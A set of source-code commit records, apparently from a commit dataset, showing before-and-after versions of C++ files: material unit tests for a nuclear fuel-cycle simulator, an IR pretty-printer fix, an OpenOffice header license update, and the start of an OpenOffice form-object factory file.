EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n\n \/\/ you should be able to get the mass per isotope\n EXPECT_NO_THROW(test_mat_->mass(u235_));\n\n \/\/ if the material has only one isotope, it should be the same as the total\n \/\/ the u235 mass should be (mol\/mat)(1kg\/1000g)(235g\/mol) \n ASSERT_FLOAT_EQ(test_mat_->mass(u235_) , test_mat_->moles(u235_)*0.235); \n\n \/\/ if the mat has many isotopes, their individual masses should scale with \n \/\/ their atomic numbers.\n double test_total = 0;\n CompMap::iterator comp; \n int i;\n for( comp = (*test_comp_).begin(); comp != (*test_comp_).end(); ++comp){\n i = (*comp).first;\n test_total += test_mat_->mass(i);\n }\n ASSERT_FLOAT_EQ(test_mat_->quantity(), test_total);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckIsoAtoms){\n\n \/\/ you should be able to get to the atoms of a certain iso in your material\n EXPECT_NO_THROW(test_mat_->moles(u235_));\n EXPECT_FLOAT_EQ(one_mol_,test_mat_->moles(u235_));\n\n \/\/ a mat's total atoms should be the total of all the contained isotopes. \n double test_total = 0;\n CompMap::iterator comp; \n int i;\n for( comp = (*test_comp_).begin(); comp != (*test_comp_).end(); ++comp){\n i = (*comp).first;\n total_atoms += test_mat_->moles(i);\n }\n ASSERT_FLOAT_EQ(test_mat_->moles(), test_total);\n\n \/\/ you should be able to get to the total atoms in your material\n total_atoms = test_mat_->moles();\n\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckConvertFromKg){\n \/\/ check total mass, you'll use it later.\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n \/\/ you should be able to get the mass per isotope\n EXPECT_NO_THROW(test_mat_->mass(u235_));\n ASSERT_FLOAT_EQ(test_mat_->mass(u235_), test_mat_->mass(u235_,KG));\n ASSERT_FLOAT_EQ(1000.0*test_mat_->mass(u235_), test_mat_->mass(u235_,G));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckConvertToKg){\n \/\/ check total mass, you'll use it later.\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG));\n EXPECT_NO_THROW(test_mat_->setQuantity(test_size_*1000.0,G));\n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG));\n EXPECT_NO_THROW(test_mat_->setQuantity(test_size_,G));\n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG)\/1000.0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, AbsorbLikeMaterial) {\n mat_rsrc_ptr one_test_mat;\n mat_rsrc_ptr two_test_mat;\n mat_rsrc_ptr ten_test_mat;\n one_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int one = 1;\n one_test_mat->setQuantity(one*test_size_);\n two_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int two = 2;\n two_test_mat->setQuantity(two*test_size_);\n ten_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int ten = 10;\n ten_test_mat->setQuantity(ten*test_size_);\n\n \/\/ see that two materials with the same composition do the right thing\n double orig = test_mat_->quantity();\n int factor = 1+one;\n ASSERT_NO_THROW(test_mat_->absorb(one_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n\n factor += two;\n ASSERT_NO_THROW(test_mat_->absorb(two_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n\n factor += ten;\n ASSERT_NO_THROW(test_mat_->absorb(ten_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, AbsorbUnLikeMaterial) {\n \/\/ make a number of materials masses 1, 2, and 10 \n mat_rsrc_ptr same_as_orig_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n\n CompMapPtr diff_test_comp = CompMapPtr(new CompMap(MASS));\n (*diff_test_comp)[pb208_] = 1.0;\n (*diff_test_comp)[am241_] = 1.0;\n (*diff_test_comp)[th228_] = 1.0;\n mat_rsrc_ptr diff_test_mat = mat_rsrc_ptr(new Material(diff_test_comp));\n diff_test_mat->setQuantity(test_size_\/2);\n\n double orig = test_mat_->quantity();\n double origdiff = diff_test_mat->quantity();\n\n \/\/ see that materials with different compositions do the right thing\n ASSERT_NO_THROW(test_mat_->absorb(diff_test_mat));\n EXPECT_FLOAT_EQ(orig + origdiff, test_mat_->quantity() );\n EXPECT_TRUE(std::abs(same_as_orig_test_mat->quantity() - \n test_mat_->quantity()) > EPS_KG);\n EXPECT_TRUE(same_as_orig_test_mat->checkQuality(test_mat_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, ExtractMass) {\n double amt = test_size_ \/ 3;\n double diff = test_size_ - amt; \n mat_rsrc_ptr extracted;\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \/\/ we expect this amt\n EXPECT_NO_THROW(extracted = test_mat_->extract(amt)); \/\/ extract an amt\n EXPECT_FLOAT_EQ(extracted->quantity(),amt); \/\/ check correctness\n EXPECT_FLOAT_EQ(test_mat_->quantity(),diff); \/\/ check correctness\n EXPECT_EQ(test_mat_->isoVector(),extracted->isoVector());\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Extract) {\n mat_rsrc_ptr m1;\n ASSERT_NO_THROW(m1 = test_mat_->extract(test_comp_));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), 0 );\n EXPECT_FLOAT_EQ(m1->quantity(), test_size_ );\n\n mat_rsrc_ptr m2;\n ASSERT_NO_THROW(m2 = diff_mat_->extract(test_comp_));\n EXPECT_FLOAT_EQ(diff_mat_->quantity(), test_size_*fraction );\n EXPECT_FLOAT_EQ(m2->quantity(), test_size_*(1-fraction) );\n\n \/\/ ASSERT_THROW(two_test_mat->extract(ten_test_comp), CycException);\n}\n<commit_msg>all tests compile<commit_after>\/\/ MaterialTests.cpp\n#include <gtest\/gtest.h>\n#include \"MaterialTests.h\"\n#include <cmath>\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Constructors){\n EXPECT_EQ(test_mat_->units(), \"kg\");\n EXPECT_EQ(test_mat_->type(), MATERIAL_RES);\n EXPECT_GE(test_mat_->ID(),0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Clone) {\n rsrc_ptr clone_mat;\n ASSERT_NO_THROW(clone_mat = test_mat_->clone());\n\n\n \/\/ in order to acommodate discrete material tracking, all ID's mush be unique\n EXPECT_NE(test_mat_->ID(), clone_mat->ID());\n\n EXPECT_EQ(test_mat_->quantity(), clone_mat->quantity());\n EXPECT_EQ(test_mat_->type(), clone_mat->type());\n EXPECT_TRUE(test_mat_->checkQuality(clone_mat));\n EXPECT_DOUBLE_EQ(test_mat_->quantity(), clone_mat->quantity());\n EXPECT_TRUE(clone_mat->checkQuality(test_mat_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckQuality) {\n rsrc_ptr test(test_mat_);\n rsrc_ptr diff(diff_mat_);\n rsrc_ptr gen(new GenericResource(\"kg\", \"foo\", 10));\n\n EXPECT_TRUE(test->checkQuality(diff));\n EXPECT_TRUE(diff->checkQuality(test));\n EXPECT_FALSE(test->checkQuality(gen));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckIsoMass) {\n \/\/ check total mass, you'll use it later.\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n\n \/\/ you should be able to get the mass per isotope\n EXPECT_NO_THROW(test_mat_->mass(u235_));\n\n \/\/ if the material has only one isotope, it should be the same as the total\n \/\/ the u235 mass should be (mol\/mat)(1kg\/1000g)(235g\/mol) \n ASSERT_FLOAT_EQ(test_mat_->mass(u235_) , test_mat_->moles(u235_)*0.235); \n\n \/\/ if the mat has many isotopes, their individual masses should scale with \n \/\/ their atomic numbers.\n double test_total = 0;\n CompMap::iterator comp; \n int i;\n for( comp = (*test_comp_).begin(); comp != (*test_comp_).end(); ++comp){\n i = (*comp).first;\n test_total += test_mat_->mass(i);\n }\n ASSERT_FLOAT_EQ(test_mat_->quantity(), test_total);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckIsoAtoms){\n\n \/\/ you should be able to get to the atoms of a certain iso in your material\n EXPECT_NO_THROW(test_mat_->moles(u235_));\n EXPECT_FLOAT_EQ(one_mol_,test_mat_->moles(u235_));\n\n \/\/ a mat's total atoms should be the total of all the contained isotopes. \n double total_atoms = 0;\n CompMap::iterator comp; \n int i;\n for( comp = (*test_comp_).begin(); comp != (*test_comp_).end(); ++comp){\n i = (*comp).first;\n total_atoms += test_mat_->moles(i);\n }\n \/\/ you should be able to get to the total atoms in your material\n ASSERT_FLOAT_EQ(test_mat_->moles(), total_atoms);\n\n\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckConvertFromKg){\n \/\/ check total mass, you'll use it later.\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n \/\/ you should be able to get the mass per isotope\n EXPECT_NO_THROW(test_mat_->mass(u235_));\n ASSERT_FLOAT_EQ(test_mat_->mass(u235_), test_mat_->mass(u235_,KG));\n ASSERT_FLOAT_EQ(1000.0*test_mat_->mass(u235_), test_mat_->mass(u235_,G));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, CheckConvertToKg){\n \/\/ check total mass, you'll use it later.\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG));\n EXPECT_NO_THROW(test_mat_->setQuantity(test_size_*1000.0,G));\n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG));\n EXPECT_NO_THROW(test_mat_->setQuantity(test_size_,G));\n ASSERT_FLOAT_EQ(test_size_, test_mat_->mass(KG)\/1000.0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, AbsorbLikeMaterial) {\n mat_rsrc_ptr one_test_mat;\n mat_rsrc_ptr two_test_mat;\n mat_rsrc_ptr ten_test_mat;\n one_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int one = 1;\n one_test_mat->setQuantity(one*test_size_);\n two_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int two = 2;\n two_test_mat->setQuantity(two*test_size_);\n ten_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n int ten = 10;\n ten_test_mat->setQuantity(ten*test_size_);\n\n \/\/ see that two materials with the same composition do the right thing\n double orig = test_mat_->quantity();\n int factor = 1+one;\n ASSERT_NO_THROW(test_mat_->absorb(one_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n\n factor += two;\n ASSERT_NO_THROW(test_mat_->absorb(two_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n\n factor += ten;\n ASSERT_NO_THROW(test_mat_->absorb(ten_test_mat));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), factor * orig );\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, AbsorbUnLikeMaterial) {\n \/\/ make a number of materials masses 1, 2, and 10 \n mat_rsrc_ptr same_as_orig_test_mat = mat_rsrc_ptr(new Material(test_comp_));\n\n CompMapPtr diff_test_comp = CompMapPtr(new CompMap(MASS));\n (*diff_test_comp)[pb208_] = 1.0;\n (*diff_test_comp)[am241_] = 1.0;\n (*diff_test_comp)[th228_] = 1.0;\n mat_rsrc_ptr diff_test_mat = mat_rsrc_ptr(new Material(diff_test_comp));\n diff_test_mat->setQuantity(test_size_\/2);\n\n double orig = test_mat_->quantity();\n double origdiff = diff_test_mat->quantity();\n\n \/\/ see that materials with different compositions do the right thing\n ASSERT_NO_THROW(test_mat_->absorb(diff_test_mat));\n EXPECT_FLOAT_EQ(orig + origdiff, test_mat_->quantity() );\n EXPECT_TRUE(std::abs(same_as_orig_test_mat->quantity() - \n test_mat_->quantity()) > EPS_KG);\n EXPECT_TRUE(same_as_orig_test_mat->checkQuality(test_mat_));\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, ExtractMass) {\n double amt = test_size_ \/ 3;\n double diff = test_size_ - amt; \n mat_rsrc_ptr extracted;\n EXPECT_FLOAT_EQ(test_mat_->quantity(),test_size_); \/\/ we expect this amt\n EXPECT_NO_THROW(extracted = test_mat_->extract(amt)); \/\/ extract an amt\n EXPECT_FLOAT_EQ(extracted->quantity(),amt); \/\/ check correctness\n EXPECT_FLOAT_EQ(test_mat_->quantity(),diff); \/\/ check correctness\n EXPECT_EQ(test_mat_->isoVector(),extracted->isoVector());\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nTEST_F(MaterialTest, Extract) {\n mat_rsrc_ptr m1;\n ASSERT_NO_THROW(m1 = test_mat_->extract(test_comp_));\n EXPECT_FLOAT_EQ(test_mat_->quantity(), 0 );\n EXPECT_FLOAT_EQ(m1->quantity(), test_size_ );\n\n mat_rsrc_ptr m2;\n ASSERT_NO_THROW(m2 = diff_mat_->extract(test_comp_));\n EXPECT_FLOAT_EQ(diff_mat_->quantity(), test_size_*fraction );\n EXPECT_FLOAT_EQ(m2->quantity(), test_size_*(1-fraction) );\n\n \/\/ ASSERT_THROW(two_test_mat->extract(ten_test_comp), CycException);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Support\/IRPrettyPrinter.h\" \n#include \"IR\/Type.h\"\n#include \"IR\/Value.h\"\n#include \"IR\/Instruction.h\"\n#include \"IR\/BasicBlock.h\"\n#include \"IR\/Constants.h\"\n\nIRPrettyPrinter::IRPrettyPrinter(BasicBlock const* bb, std::ostream& out) :\n bb_(bb), out_(out)\n{\n}\n\nIRPrettyPrinter::~IRPrettyPrinter() {\n}\n\nvoid IRPrettyPrinter::prettyPrint() {\n printBasicBlock(bb_);\n}\n\nvoid IRPrettyPrinter::printValue(Value const* v) {\n switch (v->getValueType()) {\n case Value::BasicBlockV:\n printBasicBlock(dynamic_cast<BasicBlock const*>(v));\n break;\n\n case Value::InstructionV:\n printInstruction(dynamic_cast<Instruction const*>(v));\n break;\n \n default:\n out_ << \"<unknown value>\\n\";\n break;\n }\n}\n\nvoid IRPrettyPrinter::printBasicBlock(BasicBlock const* bb) {\n out_ << bb->getName() << \":\\n\";\n for (Value const* v : *bb) {\n printValue(v);\n }\n}\n\nvoid IRPrettyPrinter::printInstruction(Instruction const* inst) {\n if (inst->isBinaryOp()) {\n BinaryOperator const* binst = dynamic_cast<BinaryOperator const*>(inst);\n out_ << \" \"\n << binst->getName() << \" = \"\n << binst->getOpcodeName() << ' '\n \/\/<< typeToString(binst->getType()) << ' '\n << binst->getLHS()->getName() << \", \"\n << binst->getRHS()->getName() << '\\n';\n }\n}\n\nstd::string IRPrettyPrinter::typeToString(Type const* type) {\n if (type == Type::getInt64Ty())\n return \"i64\";\n return \"utype\";\n}\n<commit_msg>Fix IRPrettyPrinter<commit_after>#include \"Support\/IRPrettyPrinter.h\"\n#include \"IR\/Type.h\"\n#include \"IR\/Value.h\"\n#include \"IR\/Instruction.h\"\n#include \"IR\/BasicBlock.h\"\n#include \"IR\/Constants.h\"\n\nIRPrettyPrinter::IRPrettyPrinter(BasicBlock const* bb, std::ostream& out) :\n bb_(bb), out_(out)\n{\n}\n\nIRPrettyPrinter::~IRPrettyPrinter() {\n}\n\nvoid IRPrettyPrinter::prettyPrint() {\n printBasicBlock(bb_);\n}\n\nvoid IRPrettyPrinter::printValue(Value const* v) {\n switch (v->getValueType()) {\n case Value::BasicBlockV:\n printBasicBlock(dynamic_cast<BasicBlock const*>(v));\n break;\n\n case Value::InstructionV:\n printInstruction(dynamic_cast<Instruction const*>(v));\n break;\n\n default:\n out_ << \"<unknown value>\\n\";\n break;\n }\n}\n\nvoid IRPrettyPrinter::printBasicBlock(BasicBlock const* bb) {\n out_ << bb->getName() << \":\\n\";\n for (Value const* v : *bb) {\n printValue(v);\n }\n}\n\nvoid IRPrettyPrinter::printInstruction(Instruction const* inst) {\n if (inst->isBinaryOp()) {\n BinaryOperator const* binst = dynamic_cast<BinaryOperator const*>(inst);\n out_ << \" \"\n << binst->getName() << \" = \"\n << binst->getOpcodeName() << ' '\n << typeToString(binst->getType()) << ' '\n << binst->getLHS()->getName() << \", \"\n << binst->getRHS()->getName() << '\\n';\n }\n}\n\nstd::string IRPrettyPrinter::typeToString(Type const* type) {\n if (type == Type::getInt64Ty())\n return \"i64\";\n return \"utype\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: listeneriter.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 09:53:44 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _SVT_LISTENERITER_HXX\n#define _SVT_LISTENERITER_HXX\n\n#ifndef INCLUDED_SVLDLLAPI_H\n#include \"svtools\/svldllapi.h\"\n#endif\n\n#ifndef _RTTI_HXX \/\/autogen\n#include <tools\/rtti.hxx>\n#endif\n\nclass SvtListener;\nclass SvtListenerBase;\nclass SvtBroadcaster;\n\n\/\/-------------------------------------------------------------------------\n\nclass SVL_DLLPUBLIC SvtListenerIter\n{\n friend class SvtListenerBase;\n\n SvtBroadcaster& rRoot;\n SvtListenerBase *pAkt, *pDelNext;\n\n \/\/ for the update of all iterator's, if a listener is added or removed\n \/\/ at the same time.\n static SvtListenerIter *pListenerIters;\n SvtListenerIter *pNxtIter;\n TypeId aSrchId; \/\/ fuer First\/Next - suche diesen Type\n\n SVL_DLLPRIVATE static void RemoveListener( SvtListenerBase& rDel,\n SvtListenerBase* pNext );\n\npublic:\n SvtListenerIter( SvtBroadcaster& );\n ~SvtListenerIter();\n\n const SvtBroadcaster& GetBroadcaster() const { return rRoot; }\n SvtBroadcaster& GetBroadcaster() { return rRoot; }\n\n SvtListener* GoNext(); \/\/ to the next\n SvtListener* GoPrev(); \/\/ to the previous\n\n SvtListener* GoStart(); \/\/ to the start of the list\n SvtListener* GoEnd(); \/\/ to the end of the list\n\n SvtListener* GoRoot(); \/\/ to the root\n SvtListener* GetCurr() const; \/\/ returns the current\n\n int IsChanged() const { return pDelNext != pAkt; }\n\n SvtListener* First( TypeId nType );\n SvtListener* Next();\n};\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.3.772); FILE MERGED 2008\/04\/01 15:44:22 thb 1.3.772.3: #i85898# Stripping all external header guards 2008\/04\/01 12:43:07 thb 1.3.772.2: #i85898# Stripping all external header guards 2008\/03\/31 13:00:53 rt 1.3.772.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: listeneriter.hxx,v $\n * $Revision: 1.4 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _SVT_LISTENERITER_HXX\n#define _SVT_LISTENERITER_HXX\n\n#include \"svtools\/svldllapi.h\"\n#include <tools\/rtti.hxx>\n\nclass SvtListener;\nclass SvtListenerBase;\nclass SvtBroadcaster;\n\n\/\/-------------------------------------------------------------------------\n\nclass SVL_DLLPUBLIC SvtListenerIter\n{\n friend class SvtListenerBase;\n\n SvtBroadcaster& rRoot;\n SvtListenerBase *pAkt, *pDelNext;\n\n \/\/ for the update of all iterator's, if a listener is added or removed\n \/\/ at the same time.\n static SvtListenerIter *pListenerIters;\n SvtListenerIter *pNxtIter;\n TypeId aSrchId; \/\/ fuer First\/Next - suche diesen Type\n\n SVL_DLLPRIVATE static void RemoveListener( SvtListenerBase& rDel,\n SvtListenerBase* pNext );\n\npublic:\n SvtListenerIter( SvtBroadcaster& );\n ~SvtListenerIter();\n\n const SvtBroadcaster& GetBroadcaster() const { return rRoot; }\n SvtBroadcaster& GetBroadcaster() { return rRoot; }\n\n SvtListener* GoNext(); \/\/ to the next\n SvtListener* GoPrev(); \/\/ to the previous\n\n SvtListener* GoStart(); \/\/ to the start of the list\n SvtListener* GoEnd(); \/\/ to the end of the list\n\n SvtListener* GoRoot(); \/\/ to the root\n SvtListener* GetCurr() const; \/\/ returns the current\n\n int IsChanged() const { return pDelNext != pAkt; }\n\n SvtListener* First( TypeId nType );\n SvtListener* Next();\n};\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fmobjfac.cxx,v $\n *\n * $Revision: 1.17 $\n *\n * last change: $Author: hr $ $Date: 2007-06-27 18:13:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svx.hxx\"\n\n#ifndef _COMPHELPER_STLTYPES_HXX_\n#include <comphelper\/stl_types.hxx>\n#endif\n\n#ifndef _SVDOBJ_HXX\n#include <svx\/svdobj.hxx>\n#endif\n\n#ifndef _SVX_FMTOOLS_HXX\n#include \"fmtools.hxx\"\n#endif\n\n#ifndef _SVX_FMSERVS_HXX\n#include \"fmservs.hxx\"\n#endif\n\n#ifndef _FM_FMOBJFAC_HXX\n#include \"fmobjfac.hxx\"\n#endif\n\n#ifndef _FM_FMGLOB_HXX\n#include <svx\/fmglob.hxx>\n#endif\n\n#ifndef _FM_FMOBJ_HXX\n#include \"fmobj.hxx\"\n#endif\n\n#ifndef _SVX_FMSHIMP_HXX\n#include \"fmshimp.hxx\"\n#endif\n\n#ifndef _FM_FMSHELL_HXX\n#include <svx\/fmshell.hxx>\n#endif\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n\n#ifndef _SVX_TBXFORM_HXX\n#include \"tbxform.hxx\"\n#endif\n\n#ifndef _TOOLS_RESID_HXX \/\/autogen\n#include <tools\/resid.hxx>\n#endif\n\n#ifndef _SVX_FMRESIDS_HRC\n#include \"fmresids.hrc\"\n#endif\n\n#ifndef _SHL_HXX\n#include <tools\/shl.hxx>\n#endif\n\n#ifndef _SVX_DIALMGR_HXX\n#include <svx\/dialmgr.hxx>\n#endif\n\n#ifndef _SVX_FMSERVS_HXX\n#include \"fmservs.hxx\"\n#endif\n\n#ifndef _SVX_TABWIN_HXX\n#include \"tabwin.hxx\"\n#endif\n\n#ifndef _SVX_FMEXPL_HXX\n#include \"fmexpl.hxx\"\n#endif\n\n#ifndef _SVX_FILTNAV_HXX\n#include \"filtnav.hxx\"\n#endif\n\n#ifndef _SVX_FMPROP_HRC\n#include \"fmprop.hrc\"\n#endif\n#ifndef SVX_FMPROPBRW_HXX\n#include \"fmPropBrw.hxx\"\n#endif\n\n#ifndef _SVX_DATANAVI_HXX\n#include \"datanavi.hxx\"\n#endif\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::svxform;\n\nstatic BOOL bInit = FALSE;\n\n\/*************************************************************************\n|*\n|* Ctor\n|*\n\\************************************************************************\/\nFmFormObjFactory::FmFormObjFactory()\n{\n if ( !bInit )\n {\n SdrObjFactory::InsertMakeObjectHdl(LINK(this, FmFormObjFactory, MakeObject));\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Konfigurations-::com::sun::star::frame::Controller und NavigationBar registrieren\n SvxFmTbxCtlConfig::RegisterControl( SID_FM_CONFIG );\n SvxFmTbxCtlAbsRec::RegisterControl( SID_FM_RECORD_ABSOLUTE );\n SvxFmTbxCtlRecText::RegisterControl( SID_FM_RECORD_TEXT );\n SvxFmTbxCtlRecFromText::RegisterControl( SID_FM_RECORD_FROM_TEXT );\n SvxFmTbxCtlRecTotal::RegisterControl( SID_FM_RECORD_TOTAL );\n SvxFmTbxPrevRec::RegisterControl( SID_FM_RECORD_PREV );\n SvxFmTbxNextRec::RegisterControl( SID_FM_RECORD_NEXT );\n ControlConversionMenuController::RegisterControl(SID_FM_CHANGECONTROLTYPE);\n\n \/\/ Registrieung von globalen fenstern\n FmFieldWinMgr::RegisterChildWindow();\n FmPropBrwMgr::RegisterChildWindow();\n NavigatorFrameManager::RegisterChildWindow();\n DataNavigatorManager::RegisterChildWindow();\n FmFilterNavigatorWinMgr::RegisterChildWindow();\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Interface fuer die Formshell registrieren\n FmFormShell::RegisterInterface(0);\n\n ImplSmartRegisterUnoServices();\n bInit = TRUE;\n }\n}\n\n\n\/*************************************************************************\n|*\n|* Dtor\n|*\n\\************************************************************************\/\nFmFormObjFactory::~FmFormObjFactory()\n{\n}\n\n\n\/*************************************************************************\n|*\n|* ::com::sun::star::form::Form-Objekte erzeugen\n|*\n\\************************************************************************\/\nnamespace\n{\n void lcl_initProperty( FmFormObj* _pObject, const ::rtl::OUString& _rPropName, const Any& _rValue )\n {\n try\n {\n Reference< XPropertySet > xModelSet( _pObject->GetUnoControlModel(), UNO_QUERY );\n if ( xModelSet.is() )\n xModelSet->setPropertyValue( _rPropName, _rValue );\n }\n catch( const Exception& )\n {\n DBG_ERROR( \"lcl_initProperty: caught an exception!\" );\n }\n }\n}\n\nIMPL_LINK(FmFormObjFactory, MakeObject, SdrObjFactory*, pObjFactory)\n{\n if (pObjFactory->nInventor == FmFormInventor)\n {\n ::rtl::OUString sServiceSpecifier;\n\n typedef ::std::vector< ::std::pair< ::rtl::OUString, Any > > PropertyValueArray;\n PropertyValueArray aInitialProperties;\n\n switch ( pObjFactory->nIdentifier )\n {\n case OBJ_FM_EDIT:\n sServiceSpecifier = FM_COMPONENT_EDIT;\n break;\n\n case OBJ_FM_BUTTON:\n sServiceSpecifier = FM_COMPONENT_COMMANDBUTTON;\n break;\n\n case OBJ_FM_FIXEDTEXT:\n sServiceSpecifier = FM_COMPONENT_FIXEDTEXT;\n break;\n\n case OBJ_FM_LISTBOX:\n sServiceSpecifier = FM_COMPONENT_LISTBOX;\n break;\n\n case OBJ_FM_CHECKBOX:\n sServiceSpecifier = FM_COMPONENT_CHECKBOX;\n 